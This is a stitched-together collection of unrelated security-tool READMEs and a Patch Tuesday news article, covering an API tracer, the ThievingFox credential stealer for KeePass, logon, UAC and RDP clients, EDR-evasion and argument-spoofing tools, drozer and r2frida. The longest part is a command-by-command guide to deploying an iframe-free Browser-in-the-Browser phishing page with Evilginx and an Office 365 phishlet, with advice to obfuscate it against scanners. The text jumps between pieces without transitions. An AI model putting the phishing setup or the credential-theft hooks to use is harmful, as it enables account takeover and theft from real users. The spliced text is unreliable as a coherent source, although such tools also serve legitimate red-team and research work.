The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;
[...]
}
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Download the latest release.
gftrace.exe <filepath> <params>
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
All modules have been tested on the following Windows versions :
| Windows Version |
|---|
| Windows Server 2022 |
| Windows Server 2019 |
| Windows Server 2016 |
| Windows Server 2012R2 |
| Windows 10 |
| Windows 11 |
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
| Application | Injection Method |
|---|---|
| KeePass.exe | AppDomainManager Injection |
| KeePassXC.exe | DLL Proxying |
| LogonUI.exe (Windows Login Screen) | COM Hijacking |
| consent.exe (Windows UAC Popup) | COM Hijacking |
| mstsc.exe (Windows default RDP client) | COM Hijacking |
| RDCMan.exe (Sysinternals' RDP client) | COM Hijacking |
| MobaXTerm.exe (3rd party RDP client) | COM Hijacking |
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the
cleanupmodule on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the
--tempdirparameter, since the directory name is embedded inside native DLLs.

Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not
logged in (Default: False)
--all Try to poison all applications
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the
cleanupmodule is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, thecleanupmodule will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted byThievingFoxare logged.

CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
| Detection | Description |
|---|---|
| Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
| NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
| AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
| ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
| PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
| Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
| Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
| Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
| API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
| Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe with the following arguments:
-d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.
-p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234

NoArgs is a tool designed to dynamically spoof and conceal process arguments while staying undetected. It achieves this by hooking into Windows APIs to dynamically manipulate the Windows internals on the go. This allows NoArgs to alter process arguments discreetly.
The tool primarily operates by intercepting process creation calls made by the Windows API function CreateProcessW. When a process is initiated, this function is responsible for spawning the new process, along with any specified command-line arguments. The tool intervenes in this process creation flow, ensuring that the arguments are either hidden or manipulated before the new process is launched.
Hooking into CreateProcessW is achieved through Detours, a popular library for intercepting and redirecting Win32 API functions. Detours allows for the redirection of function calls to custom implementations while preserving the original functionality. By hooking into CreateProcessW, the tool is able to intercept the process creation requests and execute its custom logic before allowing the process to be spawned.
The Process Environment Block (PEB) is a data structure utilized by Windows to store information about a process's environment and execution state. The tool leverages the PEB to manipulate the command-line arguments of the newly created processes. By modifying the command-line information stored within the PEB, the tool can alter or conceal the arguments passed to the process.
Process Hacker View:
Process Monitor View:
Injection into Command Prompt (cmd): The tool injects its code into the Command Prompt process, embedding it as Position Independent Code (PIC). This enables seamless integration into cmd's memory space, ensuring covert operation without reliance on specific memory addresses. (Only for The Obfuscated Executable in the releases page)
Windows API Hooking: Detours are utilized to intercept calls to the CreateProcessW function. By redirecting the execution flow to a custom implementation, the tool can execute its logic before the original Windows API function.
Custom Process Creation Function: Upon intercepting a CreateProcessW call, the custom function is executed, creating the new process and manipulating its arguments as necessary.
PEB Modification: Within the custom process creation function, the Process Environment Block (PEB) of the newly created process is accessed and modified to achieve the goal of manipulating or hiding the process arguments.
Execution Redirection: Upon completion of the manipulations, the execution seamlessly returns to Command Prompt (cmd) without any interruptions. This dynamic redirection ensures that subsequent commands entered undergo manipulation discreetly, evading detection and logging mechanisms that relay on getting the process details from the PEB.
Option 1: Compile NoArgs DLL:
You will need microsoft/Detours">Microsoft Detours installed.
Compile the DLL.
Option 2: Download the compiled executable (ready-to-go) from the releases page.
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.
This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.
Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. ▶ Watch Video
This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.
Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.
That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.
The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.
In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.
A Browser In The Browser (BITB) without any iframes! As simple as that.
Meaning that we can now use BITB with Evilginx on websites like Microsoft.
Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.
Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.
Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)
Update and Upgrade system packages:
sudo apt update && sudo apt upgrade -y
Create a new evilginx user, and add user to sudo group:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Test that evilginx user is in sudo group:
su - evilginx
sudo ls -la /root
Navigate to users home dir:
cd /home/evilginx
(You can do everything as sudo user as well since we're running everything locally)
Download and build Evilginx: Official Docs
Copy Evilginx files to /home/evilginx
Install Go: Official Docs
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
ADD: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Check:
go version
Install make:
sudo apt install make
Build Evilginx:
cd /home/evilginx/evilginx2
make
Create a new directory for our evilginx build along with phishlets and redirectors:
mkdir /home/evilginx/evilginx
Copy build, phishlets, and redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Ubuntu firewall quick fix (thanks to @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
On Ubuntu, if you get Failed to start nameserver on: :53 error, try modifying this file
sudo nano /etc/systemd/resolved.conf
edit/add the DNSStubListener to no > DNSStubListener=no
then
sudo systemctl restart systemd-resolved
Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443.
nano ~/.evilginx/config.json
CHANGE https_port from 443 to 8443
Install Apache2:
sudo apt install apache2 -y
Enable Apache2 mods that will be used: (We are also disabling access_compat module as it sometimes causes issues)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Start and enable Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine.
Install git if not already available:
sudo apt -y install git
Clone this repo:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Make directories for the pages we will be serving:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Copy the directories for each page:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Optional: Remove the default Apache page (not used):
sudo rm -r /var/www/html/
Copy the O365 phishlet to phishlets directory:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Optional: To set the Calendly widget to use your account instead of the default I have inside, go to pages/primary/script.js and change the CALENDLY_PAGE_NAME and CALENDLY_EVENT_TYPE.
Note on Demo Obfuscation: As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening demo-obfuscator.html in your browser. In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned.
Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode.
We will use the domain fake.com which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.)
Create dir and parents if they do not exist:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Generate the SSL certs using the OpenSSL config file:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Modify private key permissions:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Copy custom substitution files (the core of our approach):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Important Note: In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching.
Both config files under /apache-configs/ are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file)
# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Simply to make it easier, I included both versions as separate files for this next step.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Test Apache configs to ensure there are no errors:
sudo apache2ctl configtest
Restart Apache to apply changes:
sudo systemctl restart apache2
Get the IP of the VM using ifconfig and note it somewhere for the next step.
We now need to add new entries to our hosts file, to point the domain used in this demo fake.com and all used subdomains to our VM on which Apache and Evilginx are running.
On Windows:
Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator)
Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following:
C:\Windows\System32\drivers\etc\
Change the file types (bottom-right) to "All files".
Double-click the file named hosts
On Mac:
Open a terminal and run the following:
sudo nano /private/etc/hosts
Now modify the following records (replace [IP] with the IP of your VM) then paste the records at the end of the hosts file:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Save and exit.
Now restart your browser before moving to the next step.
Note: On Mac, use the following command to flush the DNS cache:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use phishlet get-hosts [PHISHLET_NAME] but remember to replace the 127.0.0.1 with the actual local IP of your VM.
Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit fake.com so we need to make our host machine trust the certificate authority that signed the SSL certs.
For this step, it's easier to follow the video instructions, but here is the gist anyway.
Open https://fake.com/ in your Chrome browser.
Ignore the Unsafe Site warning and proceed to the page.
Click the SSL icon > Details > Export Certificate IMPORTANT: When saving, the name MUST end with .crt for Windows to open it correctly.
Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities".
On Mac: to install for current user only > select "Keychain: login" AND click on "View Certificates" > details > trust > Always trust
Now RESTART your Browser
You should be able to visit https://fake.com now and see the homepage without any SSL warnings.
At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it.
Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.)
sudo apt install tmux -y
Start Evilginx in developer mode (using tmux to avoid losing the session):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(To re-attach to the tmux session use tmux attach-session -t evilginx)
Evilginx Config:
config domain fake.com
config ipv4 127.0.0.1
IMPORTANT: Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP.
blacklist noadd
Setup Phishlet and Lure:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests).

If only Patch Tuesdays came around infrequently — like total solar eclipse rare — instead of just creeping up on us each month like The Man in the Moon. Although to be fair, it would be tough for Microsoft to eclipse the number of vulnerabilities fixed in this month’s patch batch — a record 147 flaws in Windows and related software.
Yes, you read that right. Microsoft today released updates to address 147 security holes in Windows, Office, Azure, .NET Framework, Visual Studio, SQL Server, DNS Server, Windows Defender, Bitlocker, and Windows Secure Boot.
“This is the largest release from Microsoft this year and the largest since at least 2017,” said Dustin Childs, from Trend Micro’s Zero Day Initiative (ZDI). “As far as I can tell, it’s the largest Patch Tuesday release from Microsoft of all time.”
Tempering the sheer volume of this month’s patches is the middling severity of many of the bugs. Only three of April’s vulnerabilities earned Microsoft’s most-dire “critical” rating, meaning they can be abused by malware or malcontents to take remote control over unpatched systems with no help from users.
Most of the flaws that Microsoft deems “more likely to be exploited” this month are marked as “important,” which usually involve bugs that require a bit more user interaction (social engineering) but which nevertheless can result in system security bypass, compromise, and the theft of critical assets.
Ben McCarthy, lead cyber security engineer at Immersive Labs called attention to CVE-2024-20670, an Outlook for Windows spoofing vulnerability described as being easy to exploit. It involves convincing a user to click on a malicious link in an email, which can then steal the user’s password hash and authenticate as the user in another Microsoft service.
Another interesting bug McCarthy pointed to is CVE-2024-29063, which involves hard-coded credentials in Azure’s search backend infrastructure that could be gleaned by taking advantage of Azure AI search.
“This along with many other AI attacks in recent news shows a potential new attack surface that we are just learning how to mitigate against,” McCarthy said. “Microsoft has updated their backend and notified any customers who have been affected by the credential leakage.”
CVE-2024-29988 is a weakness that allows attackers to bypass Windows SmartScreen, a technology Microsoft designed to provide additional protections for end users against phishing and malware attacks. Childs said one of ZDI’s researchers found this vulnerability being exploited in the wild, although Microsoft doesn’t currently list CVE-2024-29988 as being exploited.
“I would treat this as in the wild until Microsoft clarifies,” Childs said. “The bug itself acts much like CVE-2024-21412 – a [zero-day threat from February] that bypassed the Mark of the Web feature and allows malware to execute on a target system. Threat actors are sending exploits in a zipped file to evade EDR/NDR detection and then using this bug (and others) to bypass Mark of the Web.”
Update, 7:46 p.m. ET: A previous version of this story said there were no zero-day vulnerabilities fixed this month. BleepingComputer reports that Microsoft has since confirmed that there are actually two zero-days. One is the flaw Childs just mentioned (CVE-2024-21412), and the other is CVE-2024-26234, described as a “proxy driver spoofing” weakness.
Satnam Narang at Tenable notes that this month’s release includes fixes for two dozen flaws in Windows Secure Boot, the majority of which are considered “Exploitation Less Likely” according to Microsoft.
“However, the last time Microsoft patched a flaw in Windows Secure Boot in May 2023 had a notable impact as it was exploited in the wild and linked to the BlackLotus UEFI bootkit, which was sold on dark web forums for $5,000,” Narang said. “BlackLotus can bypass functionality called secure boot, which is designed to block malware from being able to load when booting up. While none of these Secure Boot vulnerabilities addressed this month were exploited in the wild, they serve as a reminder that flaws in Secure Boot persist, and we could see more malicious activity related to Secure Boot in the future.”
For links to individual security advisories indexed by severity, check out ZDI’s blog and the Patch Tuesday post from the SANS Internet Storm Center. Please consider backing up your data or your drive before updating, and drop a note in the comments here if you experience any issues applying these fixes.
Adobe today released nine patches tackling at least two dozen vulnerabilities in a range of software products, including Adobe After Effects, Photoshop, Commerce, InDesign, Experience Manager, Media Encoder, Bridge, Illustrator, and Adobe Animate.
KrebsOnSecurity needs to correct the record on a point mentioned at the end of March’s “Fat Patch Tuesday” post, which looked at new AI capabilities built into Adobe Acrobat that are turned on by default. Adobe has since clarified that its apps won’t use AI to auto-scan your documents, as the original language in its FAQ suggested.
“In practice, no document scanning or analysis occurs unless a user actively engages with the AI features by agreeing to the terms, opening a document, and selecting the AI Assistant or generative summary buttons for that specific document,” Adobe said earlier this month.

VolWeb is a digital forensic memory analysis platform that leverages the power of the Volatility 3 framework. It is dedicated to aiding in investigations and incident responses.
The goal of VolWeb is to enhance the efficiency of memory collection and forensic analysis by providing a centralized, visual, and enhanced web application for incident responders and digital forensics investigators. Once an investigator obtains a memory image from a Linux or Windows system, the evidence can be uploaded to VolWeb, which triggers automatic processing and extraction of artifacts using the power of the Volatility 3 framework.
By utilizing cloud-native storage technologies, VolWeb also enables incident responders to directly upload memory images into the VolWeb platform from various locations using dedicated scripts interfaced with the platform and maintained by the community. Another goal is to allow users to compile technical information, such as Indicators, which can later be imported into modern CTI platforms like OpenCTI, thereby connecting your incident response and CTI teams after your investigation.
The project documentation is available on the Wiki. There, you will be able to deploy the tool in your investigation environment or lab.
[!IMPORTANT] Take time to read the documentation in order to avoid common miss-configuration issues.
VolWeb exposes a REST API to allow analysts to interact with the platform. There is a dedicated repository proposing some scripts maintained by the community: https://github.com/forensicxlab/VolWeb-Scripts Check the wiki of the project to learn more about the possible API calls.
If you have encountered a bug, or wish to propose a feature, please feel free to open an issue. To enable us to quickly address them, follow the guide in the "Contributing" section of the Wiki associated with the project.

drozer (formerly Mercury) is the leading security testing framework for Android.
drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.
drozer provides tools to help you use, share and understand public Android exploits. It helps you to deploy a drozer Agent to a device through exploitation or social engineering. Using weasel (WithSecure's advanced exploitation payload) drozer is able to maximise the permissions available to it by installing a full agent, injecting a limited agent into a running process, or connecting a reverse shell to act as a Remote Access Tool (RAT).
drozer is a good tool for simulating a rogue application. A penetration tester does not have to develop an app with custom code to interface with a specific content provider. Instead, drozer can be used with little to no programming experience required to show the impact of letting certain components be exported on a device.
drozer is open source software, maintained by WithSecure, and can be downloaded from: https://labs.withsecure.com/tools/drozer/
To help with making sure drozer can be run on modern systems, a Docker container was created that has a working build of Drozer. This is currently the recommended method of using Drozer on modern systems.
Note: On Windows please ensure that the path to the Python installation and the Scripts folder under the Python installation are added to the PATH environment variable.
Note: On Windows please ensure that the path to javac.exe is added to the PATH environment variable.
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python setup.py bdist_wheel
sudo pip install dist/drozer-2.x.x-py2-none-any.whl
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make deb
sudo dpkg -i drozer-2.x.x.deb
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
make rpm
sudo rpm -I drozer-2.x.x-1.noarch.rpm
NOTE: Windows Defender and other Antivirus software will flag drozer as malware (an exploitation tool without exploit code wouldn't be much fun!). In order to run drozer you would have to add an exception to Windows Defender and any antivirus software. Alternatively, we recommend running drozer in a Windows/Linux VM.
git clone https://github.com/WithSecureLabs/drozer.git
cd drozer
python.exe setup.py bdist_msi
Run dist/drozer-2.x.x.win-x.msi
Drozer can be installed using Android Debug Bridge (adb).
Download the latest Drozer Agent here.
$ adb install drozer-agent-2.x.x.apk
You should now have the drozer Console installed on your PC, and the Agent running on your test device. Now, you need to connect the two and you're ready to start exploring.
We will use the server embedded in the drozer Agent to do this.
If using the Android emulator, you need to set up a suitable port forward so that your PC can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415:
$ adb forward tcp:31415 tcp:31415
Now, launch the Agent, select the "Embedded Server" option and tap "Enable" to start the server. You should see a notification that the server has started.
Then, on your PC, connect using the drozer Console:
On Linux:
$ drozer console connect
On Windows:
> drozer.bat console connect
If using a real device, the IP address of the device on the network must be specified:
On Linux:
$ drozer console connect --server 192.168.0.10
On Windows:
> drozer.bat console connect --server 192.168.0.10
You should be presented with a drozer command prompt:
selecting f75640f67144d9a3 (unknown sdk 4.1.1)
dz>
The prompt confirms the Android ID of the device you have connected to, along with the manufacturer, model and Android software version.
You are now ready to start exploring the device.
| Command | Description |

* action = list | apps | attach | spawn | launch
* link = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://? # show this help
* frida:// # list local processes
* frida://0 # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2 # abspath to spawn
* frida://rax2 # same as above, considering local/bin is in PATH
* frida://spawn/$(program) # spawn a new process in the current system
* frida://attach/(target) # attach to target PID in current host
USB:
* frida://list/usb// # list processes in the first usb device
* frida://apps/usb// # list apps in the first usb device
* frida://attach/usb//12345 # attach to given pid in the first usb device
* frida://spawn/usb//appname # spawn an app in the first resolved usb device
* frida://launch/usb//appname # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
R2FRIDA_SAFE_IO=0|1 # Workaround a Frida bug on Android/thumb
R2FRIDA_DEBUG=0|1 # Used to debug argument parsing behaviour
R2FRIDA_COMPILER_DISABLE=0|1 # Disable the new frida typescript compiler (`:. foo.ts`)
R2FRIDA_AGENT_SCRIPT=[file] # path to file of the r2frida agent
$ r2 frida://0 # same as frida -p 0, connects to a local session
You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)
$ r2 frida://rax2 # attach to the first process named `rax2`
$ r2 frida://1234 # attach to the given pid
Using the absolute path of a binary to spawn will spawn the process:
$ r2 frida:///bin/ls
[0x00000000]> :dc # continue the execution of the target program
Also works with arguments:
$ r2 frida://"/bin/ls -al"
For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.
$ r2 frida://spawn/usb/ # enumerate devices
$ r2 frida://spawn/usb// # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app
These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.
:i # get information of the target (pid, name, home, arch, bits, ..)
.:i* # import the target process details into local r2
:? # show all the available commands
:dm # list maps. Use ':dm|head' and seek to the program base address
:iE # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-* # delete all traces
r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.
See the plugins/ directory for some more example plugin scripts.
[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
if (name === 'test') {
return function(args) {
console.log('Hello Args From r2frida plugin', args);
return 'Things Happen';
}
}
});
[0x00000000]> :. example.js # load the plugin script
The :. command works like the r2's . command, but runs inside the agent.
:. a.js # run script which registers a plugin
:. # list plugins
:.-test # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)
If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.
$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...
Ensure you are using a modern version of r2 (preferibly last release or git).
Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.
If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.

